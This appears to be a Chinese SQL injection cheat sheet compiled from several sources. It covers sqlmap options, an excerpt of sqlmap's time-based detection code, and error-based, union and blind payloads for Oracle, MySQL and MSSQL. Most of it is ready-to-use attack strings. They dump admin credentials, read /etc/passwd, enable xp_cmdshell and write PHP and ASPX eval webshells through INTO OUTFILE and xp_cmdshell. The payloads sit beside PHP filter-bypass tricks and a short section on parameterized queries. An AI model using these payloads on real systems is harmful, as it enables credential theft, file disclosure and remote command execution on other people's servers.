1.  避免过多的错误请求被屏蔽 参数：--safe-url,--safe-freq

2.  二阶SQL注入  参数：--second-order

3.  从数据库服务器中读取文件 参数：--file-read

4.  把文件上传到数据库服务器中 参数：--file-write,--file-dest

5.  爬行网站URL 参数：--crawl

6.  非交互模式  参数：--batch

7.  测试WAF/IPS/IDS保护 参数：--identify-waf

8.  启发式判断注入      参数：--smart（有时对目标非常多的URL进行测试，为节省时间，只对能够快速判断为注入的报错点进行注入，可以使用此参数。）

9.  -technique

B : 基于Boolean的盲注(Boolean based blind)

Q : 内联查询(Inline queries)

T : 基于时间的盲注(time based blind)

U : 基于联合查询(Union query based)

E : 基于错误(error based)

S : 栈查询(stack queries)

# In case of time-based blind or stacked queries

# SQL injections

elif method == PAYLOAD.METHOD.TIME:

    # Perform the test‘s request

    trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)

    if trueResult:

        # Confirm test‘s results

        trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)

        if trueResult:

            infoMsg = "%s parameter ‘%s‘ is ‘%s‘ injectable " % (place, parameter, title)

            logger.info(infoMsg)

            injectable = True

if timeBasedCompare:

    return wasLastRequestDelayed()

def wasLastRequestDelayed():

    """

    Returns True if the last web request resulted in a time-delay

    """

    deviation = stdev(kb.responseTimes)

    threadData = getCurrentThreadData()

    if deviation:

        if len(kb.responseTimes) < MIN_TIME_RESPONSES:

            warnMsg = "time-based standard deviation method used on a model "

            warnMsg += "with less than %d response times" % MIN_TIME_RESPONSES

            logger.warn(warnMsg)

        lowerStdLimit = average(kb.responseTimes) + TIME_STDEV_COEFF * deviation

        retVal = (threadData.lastQueryDuration >= lowerStdLimit)

        if not kb.testMode and retVal and conf.timeSec == TIME_DEFAULT_DELAY:

            adjustTimeDelay(threadData.lastQueryDuration, lowerStdLimit)

        return retVal

    else:

        return (threadData.lastQueryDuration - conf.timeSec) >= 0

if timeBasedCompare:

    return wasLastRequestDelayed()

elif noteResponseTime:

    kb.responseTimes.append(threadData.lastQueryDuration)

Microsoft OLE DB  Provider

ORA-

PLS-

Error in your SQL Syntax

SQL Error

Incorrect Syntax near

Failed Mysql

Unclosed Quotation Mark

JDBC/ODBC Driver

Mysql: /?param=1 select count(*) from information_schema.tables group by

concat(version(),floor(rand(0)*2))

MSSQL: /?param=1 and(1)=convert(int,@@version)--

Sybase: /?param=1 and(1)=convert(int,@@version)--

Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select

replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)—

PostgreSQL: /?param=1 and(1)=cast(version() as numeric)--

DB

连接符

行注释

唯一的默认表变量和函数

MSSQL

%2B    （URL+号编码）

e.g. ?category=sho’%2b’es

--

@@PACK_RECEIVED

MYSQL

%20    （URL空格编码）

#

CONNECTION_ID()

Oracle

||

--

BITAND(1,1)

PGsql

||

--

getpgusername()

Access

“a” & “b”

N/A

msysobjects

数据库

语句(大多需要配合编码)

Oracle

oder by N

# 爆出第一个数据库名

and 1=2 union select 1,2,(select banner from sys.v_ where rownum=1),4,5,6 from dual

# 依次爆出所有数据库名,假设第一个库名为first_dbname

and 1=2 union select 1,2,(select owner from all_tables where rownum=1 and owner<>‘first_dbname‘),4,5,6 from dual

爆出表名

and 1=2 union select 1,2,(select table_name from user_tables where rownum=1),4,5,6 from dual

同理,同爆出下一个数据库类似爆出下一个表名就不说了,但是必须注意表名用大写或者表名大写的十六进制代码。
有时候我们只想要某个数据库中含密码字段的表名,采用模糊查询语句，如下：
and (select column_name from user_tab_columns where column_name like ‘%25pass%25‘)<0

爆出表tablename中的第一个字段名

and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name=‘tablename‘ and rownum=1),4,5,6 from dual

依次下一个字段名

and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name=‘tablename‘ and column_name<>‘first_col_name‘ and rownum=1),4,5,6 from dual

若为基于时间或者基于bool类型盲注，可结合substr 、ASCII进行赋值盲测。

若屏蔽关键函数，可尝试SYS_CONTEXT(‘USERENV‘,‘CURRENT_USER‘)类用法。

Mysql

#正常语句

192.168.192.128/sqltest/news.php?id=1

#判断存在注入否

192.168.192.128/sqltest/news.php?id=1 and 1=2

#确定字段数 order by

192.168.192.128/sqltest/news.php?id=-1 order by 3

#测试回显字段

192.168.192.128/sqltest/news.php?id=-1 union select 1,2,3

#测试字段内容

192.168.192.128/sqltest/news.php?id=-1 union select 1,user(),3

192.168.192.128/sqltest/news.php?id=-1 union select 1,group_concat(user(),0x5e5e,version(),0x5e5e,database(),0x5e5e,@@basedir),3

#查询当前库下所有表

192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

#查询admin表下的字段名（16进制）

192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646d696e

#查询admin表下的用户名密码

192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(name,0x5e,pass) from admin

#读取系统文件（/etc/passwd，需转换为16进制）

192.168.192.128/sqltest/news.php?id=-1 union select 1,2,load_file(0x2f6574632f706173737764)

#文件写入

192.168.192.128/sqltest/news.php?id=-1 union select 1,2,0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile ‘/var/www/html/1.php‘--

PS：若权限不足，换个目录

MSSQL

PS：回显型请查阅参考资料的链接，这里主要盲注的语法。

#爆数据库版本（可先测长度）

aspx?c=c1‘/**/and/**/ascii(substring(@@version,1,1))=67/**/--&t=0

ps:在范围界定时，可利用二分查找结合大于小于来利用；亦可直接赋值脚本爆破，依次类推直至最后一字母。

#爆当前数据库名字

aspx?c=c1‘/**/and/**/ascii(substring(db_name(),1,1))>200/**/--&t=0

#爆表

aspx?c=c1‘/**/and/**/ascii(substring((select/**/top/**/1 name/**/from/**/dbname.sys.all_objects where type=‘U‘/**/AND/**/is_ms_shipped=0),1,1))>0/**/--&t=0

#爆user表内字段

aspx?c=c1‘/**/and/**/ascii(substring((select/**/top/**/ 1/**/COLUMN_NAME from/**/dbname.information_schema.columns/**/where/** /TABLE_NAME=‘user‘),1,1))>0/**/--&t=0

#爆数据

aspx?c=c1‘/**/and/**/ascii(substring((select/**/top/**/1/**/fPwd/**/from/**/User),1,1))>0/**/--&t=0

NO.

概要

1

$_SERVER未转义

2

更新时未重构更新序列

3

使用了一个未定义的常量

4

PHP自编标签与strip_tags顺序逻辑绕过

5

可控变量进入双引号

6

宽字节转编码过程

7

mysql多表查询绕过

8

别名as+反引号可闭合其后语句

9

mysql的类型强制转换

10

过滤条件是否有if判断进入

11

全局过滤存在白名单

12

字符串截断函数获取定长数据

13

括号包裹绕过

14

弱类型验证机制

15

WAF或者过滤了and|or的情况可以使用&&与||进行盲注。

16

windows下php中访问文件名使用”<” “>”将会被替换成”*” “?”

17

二次urldecode注入

18

逻辑引用二次注入

<?php

function mystrip_tags($string)

{

$string = remove_xss($string);

$string = new_html_special_chars($string);

$string = strip_tags($string);//remove_xss在strip_tags之前调用，所以很明显可以利用strip_tags函数绕过,在关键字中插入html标记.

return $string;

}

?>

select uid,password from users,admins；

(uid存在于users、password存在于admins）

提交/?test=0axxx    -> empty($_GET[‘test‘]) => 返回真

if($config[‘sy_istemplate‘]!=‘1‘ || md5(md5($config[‘sy_safekey‘]).$_GET[‘m‘])!=$_POST[‘safekey‘])

{

foreach($_POST as $id=>$v){

safesql($id,$v,"POST",$config);

$id = sfkeyword($id,$config);

$v = sfkeyword($v,$config);

$_POST[$id]=common_htmlspecialchars($v);

}

}

$webscan_white_directory=‘admin|\/dede\/|\/install\/‘;

http://www.target.com/index.php/dede/?m=foo&c=bar&id=1‘ and 1=2 union select xxx

http://demo.74cms.com/user/user_invited.php?id=1%20||%20strcmp(substr(user(),1,13),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116))&act=invited

file_get_contents("/images/".$_GET[‘a‘].".jpg");

<?php

$a=addslashes($_GET[‘p‘]);

$b=urldecode($a);

echo ‘$a=‘ .$a;

echo ‘<br />‘;

echo ‘$b=‘ .$b;

?>

SqlConnection conn = new SqlConnection("server=(local)\\SQL2005;user id=sa;pwd=12345;initial catalog=TestDb");

conn.Open();

SqlCommand cmd = new SqlCommand("SELECT TOP 1 * FROM [User] WHERE UserName = @UserName AND Password = @Password");

cmd.Connection = conn;

cmd.Parameters.AddWithValue("UserName", "user01");

cmd.Parameters.AddWithValue("Password", "123456");

reader = cmd.ExecuteReader();

reader.Read();

int userId = reader.GetInt32(0);

reader.Close();

conn.Close();

// 实例化数据抽象层对象

$db = new PDO(‘pgsql:host=127.0.0.1;port=5432;dbname=testdb‘);

// 对 SQL 语句执行 prepare，得到 PDOStatement 对象

$stmt = $db->prepare(‘SELECT * FROM "myTable" WHERE "id" = :id AND "is_valid" = :is_valid‘);

// 绑定参数

$stmt->bindValue(‘:id‘, $id);

$stmt->bindValue(‘:is_valid‘, true);

// 查询

$stmt->execute();

// 获取数据

foreach($stmt as $row) {

var_dump($row);

}

java.sql.PreparedStatement prep = connection.prepareStatement(

"SELECT * FROM `users` WHERE USERNAME = ? AND PASSWORD = ?");

prep.setString(1, username);

prep.setString(2, password);

prep.executeQuery();

;EXEC sp_configure ‘show advanced options‘,1;//允许修改高级参数

RECONFIGURE;

EXEC sp_configure ‘xp_cmdshell‘,1;  //打开xp_cmdshell扩展

RECONFIGURE;--

;CREATE TABLE tt_tmp (tmp1 varchar(8000));--

;insert into tt_tmp(tmp1) exec master..xp_cmdshell ‘for /r c:\ %i in (*index*.aspx) do @echo %i ‘;--

;exec master..xp_cmdshell ‘echo test >c:\\WWW\\2333.txt‘;--

写shell

;exec master..xp_cmdshell ‘echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\233.aspx‘ ;--

删除临时表

;DROP TABLE tt_tmp ;--

关闭xp_cmdshell

;EXEC sp_configure ‘xp_cmdshell‘,0;  //关闭xp_cmdshell扩展

RECONFIGURE;

EXEC sp_configure ‘show advanced options‘,0;//不允许修改高级参数

RECONFIGURE; --

序号

功能点

参数

1

登录

Username password

2

Header

Cookie Referer x-forward remote-ip

3

查询展示

数据写入（表单）

数据更新

id u category price str value

4

数据搜素

Key

5

伪静态

（同3），加*

6

Mysql不安全配置

Set character_set_client=gbk

%df%27

7

传参（横向数据流向、纵向入库流向）

Parameter （同3）

8

订单类多级交互、重新编辑

配送地址、资料编辑

二次注入

9

APP仍调用WEB API

同3

10

编码urldecode base64

Urldecode() rawurldecode()